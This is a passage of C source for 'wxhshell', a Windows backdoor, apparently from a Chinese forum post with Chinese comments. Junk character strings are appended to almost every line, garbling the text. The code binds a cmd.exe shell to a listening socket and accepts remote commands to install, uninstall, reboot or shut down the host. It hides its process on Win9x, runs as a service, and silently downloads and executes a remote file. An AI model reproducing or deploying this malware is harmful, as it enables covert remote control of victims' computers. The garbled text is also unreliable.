  m7.6;k.  
  // 帮助 69EdMuf  
  case '?': { )\fLS d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "' ]|o~B  
    break; c>yqq'  
  } //- ;uEO  
  // 安装 U<.,"`=l  
  case 'i': { M%1wT9  
    if(Install()) (b;*8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'mE!,KeS;  
    else hd_<J]C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FKk.BA957h  
    break; nY50dFA,  
    } "/$2oYNy+  
  // 卸载 #'oGtFCd`  
  case 'r': { H 5'Ke+4.e  
    if(Uninstall()) "DU1k6XC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); okQ<_1e{  
    else J=AF`[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a X:,1^  
    break; /nVGr]t_pj  
    } |lVoL.Z,0  
  // 显示 wxhshell 所在路径 rnS&^  
  case 'p': { VL| q`n  
    char svExeFile[MAX_PATH]; - DE?L,9X9  
    strcpy(svExeFile,"\n\r"); TAKv E=a;  
      strcat(svExeFile,ExeFile); hScC< =W  
        send(wsh,svExeFile,strlen(svExeFile),0); .{ r %C4q9  
    break; @_C?M5v  
    } *MZa|Xy  
  // 重启 oTLpq:9J  
  case 'b': { y-#01Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5BB: .  
    if(Boot(REBOOT)) b]xE^zM-I`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [mA\,ny9  
    else { y#)ad\  
    closesocket(wsh); ?S~j2 J]  
    ExitThread(0); .%T.sQ  
    } p1B~F  
    break; 2s<uT  
    } Zsx\GeE%:  
  // 关机 {~+o+LV  
  case 'd': { C`r{B.t`GT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K%RjWX=H  
    if(Boot(SHUTDOWN)) pkT26)aW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \9T /%[r#  
    else { ~Rk ~Zn  
    closesocket(wsh); ud:5_*  
    ExitThread(0); VDy\2-b8d  
    } CKr5L  
    break; Eu1t*>ZL  
    } <X ~P62<  
  // 获取shell \O(~:KN  
  case 's': { k{-#2Qz  
    CmdShell(wsh); QeNN*@ ='i  
    closesocket(wsh); k*uLjU  
    ExitThread(0); #jd&f,Tt  
    break; ]c~W$h+F  
  } b_rHt s  
  // 退出 v2;' F  
  case 'x': { dxK3462  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P1IL ]  
    CloseIt(wsh); b[os0D95  
    break; R gTrj  
    } o%sx(g=q6  
  // 离开 'jj|bN  
  case 'q': { II) K0<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e]q(fPK  
    closesocket(wsh); 8m"jd+  
    WSACleanup(); '4]_~?&x  
    exit(1); HGl.dO 7NU  
    break; =@y ?Np^A  
        } >N8*O3  
  } o GN*p_g  
  } m*H' Cb  
?:+sjHzXT  
  // 提示信息 tiQeON-Q_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QP:|D_k  
} 5}NTqN0@  
  } ;?.w!|6  
> xie+ ^  
  return; tv'=xDCp  
} "#G`F  
-cP7`.a  
// shell模块句柄 crl"Ec  
int CmdShell(SOCKET sock) ^g N/5  
{ \k>1q/T0V  
STARTUPINFO si; ;\(X;kQi  
ZeroMemory(&si,sizeof(si)); .-4]FGg3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bd)'1;p  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i$JN s)I%  
PROCESS_INFORMATION ProcessInfo; , Aw Z%  
char cmdline[]="cmd"; RAB'%CY4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p4^&G/'  
  return 0; %=`wN^3t2  
} z[+Sb;  
g#b9xTG J^  
// 自身启动模式 S:8 WBY]M  
int StartFromService(void) +sFpIiJg  
{ =>htX(k}  
typedef struct x". !&5  
{ !yo@i_1D  
  DWORD ExitStatus; Q%!Dk0-)  
  DWORD PebBaseAddress; %_%Bb Qf  
  DWORD AffinityMask; E(g$f.9  
  DWORD BasePriority; FL E3LH  
  ULONG UniqueProcessId; L6Io u  
  ULONG InheritedFromUniqueProcessId; $(+#$F<eo+  
}   PROCESS_BASIC_INFORMATION; V[2}  
4=qZ Z>[t  
PROCNTQSIP NtQueryInformationProcess; /X;/}fk  
Ld?'X=eQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yZQcxg%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; TE% i   
J>8kJCh9g  
  HANDLE             hProcess; 8e32NJ^k~  
  PROCESS_BASIC_INFORMATION pbi; 9 :,ZG4s  
3*=_vl3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /I &wh  
  if(NULL == hInst ) return 0; DPr~DO`b  
RmRPR<vGW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (z  9M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )f,9 h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m^gxEPJK  
#7['M;_  
  if (!NtQueryInformationProcess) return 0; `!Yd$=*c_&  
aUk]wiwIR9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7KL@[  
  if(!hProcess) return 0; .t7ME{  
s w{e |  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o[)*Y`xq<w  
3?e~J"WXC5  
  CloseHandle(hProcess); i2+_~$f  
-G(#,rXk  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n?*r,)'  
if(hProcess==NULL) return 0; d9up! k  
>R}G  
HMODULE hMod; U^8S@#1Q  
char procName[255]; }#h`1 uV  
unsigned long cbNeeded; #Q'#/\5  
h43py8v  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L7]o^p{g}Q  
'0w</g  
  CloseHandle(hProcess); 54].p7  
P^AI*tH"m  
if(strstr(procName,"services")) return 1; // 以服务启动 055C1RV%  
 :!Nx'F9a  
  return 0; // 注册表启动 #>6Jsnv1  
} z(Z7[#.  
R@){=8%z  
// 主模块 !e:_$$j  
int StartWxhshell(LPSTR lpCmdLine) Qk >9o  
{ Vh?RlIUA  
  SOCKET wsl; WPAT\Al&AE  
BOOL val=TRUE; \/64Xv3L0  
  int port=0; td7Of(k'  
  struct sockaddr_in door; &0i$Y\g  
Fw:_O2  
  if(wscfg.ws_autoins) Install(); e07u@_'^  
,0c]/Sd*p  
port=atoi(lpCmdLine); @C%6Wo4l3  
jZD)c_'U  
if(port<=0) port=wscfg.ws_port; /DjsnU~3  
 aWPf3Q  
  WSADATA data; b gxk:$E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `<{LW>Lb  
"  sC]z}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   />N#PF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vVP.9(  
  door.sin_family = AF_INET; yi:}UlO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l(W?]{C[%  
  door.sin_port = htons(port); >qs/o$+t}  
1R;@v3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O>'tag  
closesocket(wsl); (%OZ `?`  
return 1; "j&'R#$&d  
} Zrp-Hv27,,  
wJD'q\n  
  if(listen(wsl,2) == INVALID_SOCKET) { N<ux4tz  
closesocket(wsl); ,}O33BwJp  
return 1; C`R<55x6  
} iL2__TO  
  Wxhshell(wsl); 5KP\#Y  
  WSACleanup(); OADW;fj  
Ot)S\s>  
return 0; ik #Wlz`4  
`5e{ec c7  
} 3-&~jm~"  
#uF`|M$u  
// 以NT服务方式启动 ~KRS0 ^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) KK6fRtKv>q  
{ cg o  
DWORD   status = 0; &>B"/z  
  DWORD   specificError = 0xfffffff; 8Ihl}aguW  
jZC[_p;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JEaTDV_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +xvn n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;6~5FTmV  
  serviceStatus.dwWin32ExitCode     = 0; Eh)VT{vp  
  serviceStatus.dwServiceSpecificExitCode = 0; l4dG=x}M]  
  serviceStatus.dwCheckPoint       = 0; Oi zj |'  
  serviceStatus.dwWaitHint       = 0; z1]nC]2  
;rF[y7\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r<4j;"lQK  
  if (hServiceStatusHandle==0) return; Oet+$ b  
,<Z,-0S  
status = GetLastError(); \7%#4@;?  
  if (status!=NO_ERROR) wZN_YFwQ  
{ nzaA_^`mB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H\qZu%F'  
    serviceStatus.dwCheckPoint       = 0; G|[{\  
    serviceStatus.dwWaitHint       = 0; O@4J=P=w  
    serviceStatus.dwWin32ExitCode     = status; PR]b ]=  
    serviceStatus.dwServiceSpecificExitCode = specificError; Wa7wV 9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]<C]`W2{  
    return; !n` |k  
  } zj(V\y&H  
#]6{>n1*+w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yCA8/)>Gm  
  serviceStatus.dwCheckPoint       = 0; KGcjZx04!  
  serviceStatus.dwWaitHint       = 0; Sb> &m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pB#I_?(  
} +wJ!zab`  
awwSgy  
// 处理NT服务事件,比如:启动、停止 0Sz[u\w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s5rD+g]E`  
{ @"MQ6u G>  
switch(fdwControl) [8^q3o7n  
{ hl7 z1h  
case SERVICE_CONTROL_STOP: M2N8?Ycv3  
  serviceStatus.dwWin32ExitCode = 0; HFI0\*xn(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m./PRV1$x  
  serviceStatus.dwCheckPoint   = 0; \hZ%NL j  
  serviceStatus.dwWaitHint     = 0; ZZ!">AN`^  
  { 8I *N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); * m^\&  
  } vy *-"=J  
  return; D%nd7 |  
case SERVICE_CONTROL_PAUSE: gFKJbjT|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M:{Aq&.  
  break; S,nELV~!  
case SERVICE_CONTROL_CONTINUE: )-emSV0zE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]/H6%"CTa  
  break; /KX+'@  
case SERVICE_CONTROL_INTERROGATE: * 70 ZAo4  
  break; >Rd~-w)!|  
}; (/N&_r4x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q :TNf\/o  
} 4k-Ak6s  
$\Y&2&1s  
// 标准应用程序主函数 pITF%J@_]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xE w\'tH  
{ Pv/ v=s>X  
XWnP(C9?  
// 获取操作系统版本 w $6Z}M1d  
OsIsNt=GetOsVer(); [)1vKaC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kI)}7e  
vM6W64S  
  // 从命令行安装 gWGDm~+  
  if(strpbrk(lpCmdLine,"iI")) Install(); $q)YC.5$  
4minzrKM\  
  // 下载执行文件 5N;'CAk  
if(wscfg.ws_downexe) { Mh4MaLw  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D,ZLo~  
  WinExec(wscfg.ws_filenam,SW_HIDE); |DJ8 "T]E  
} Leb|YX  
ro\ oL  
if(!OsIsNt) { L;%w{,Ji  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~(ke'`gJ0-  
HideProc(); G:":CX"O(  
StartWxhshell(lpCmdLine); 5EcVW|(  
} UGI<V!  
else wuA?t  
  if(StartFromService()) 0^gY4qx[u  
  // 以服务方式启动 1wKXOy=v0  
  StartServiceCtrlDispatcher(DispatchTable); ^]nLE]M  
else 7>__ fQu  
  // 普通方式启动 HDhISPg  
  StartWxhshell(lpCmdLine); 9+^)?JUYll  
+h4W<YnW  
return 0; c\1X NPGG  
}
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只看该作者 1 发表于: 2006-10-10
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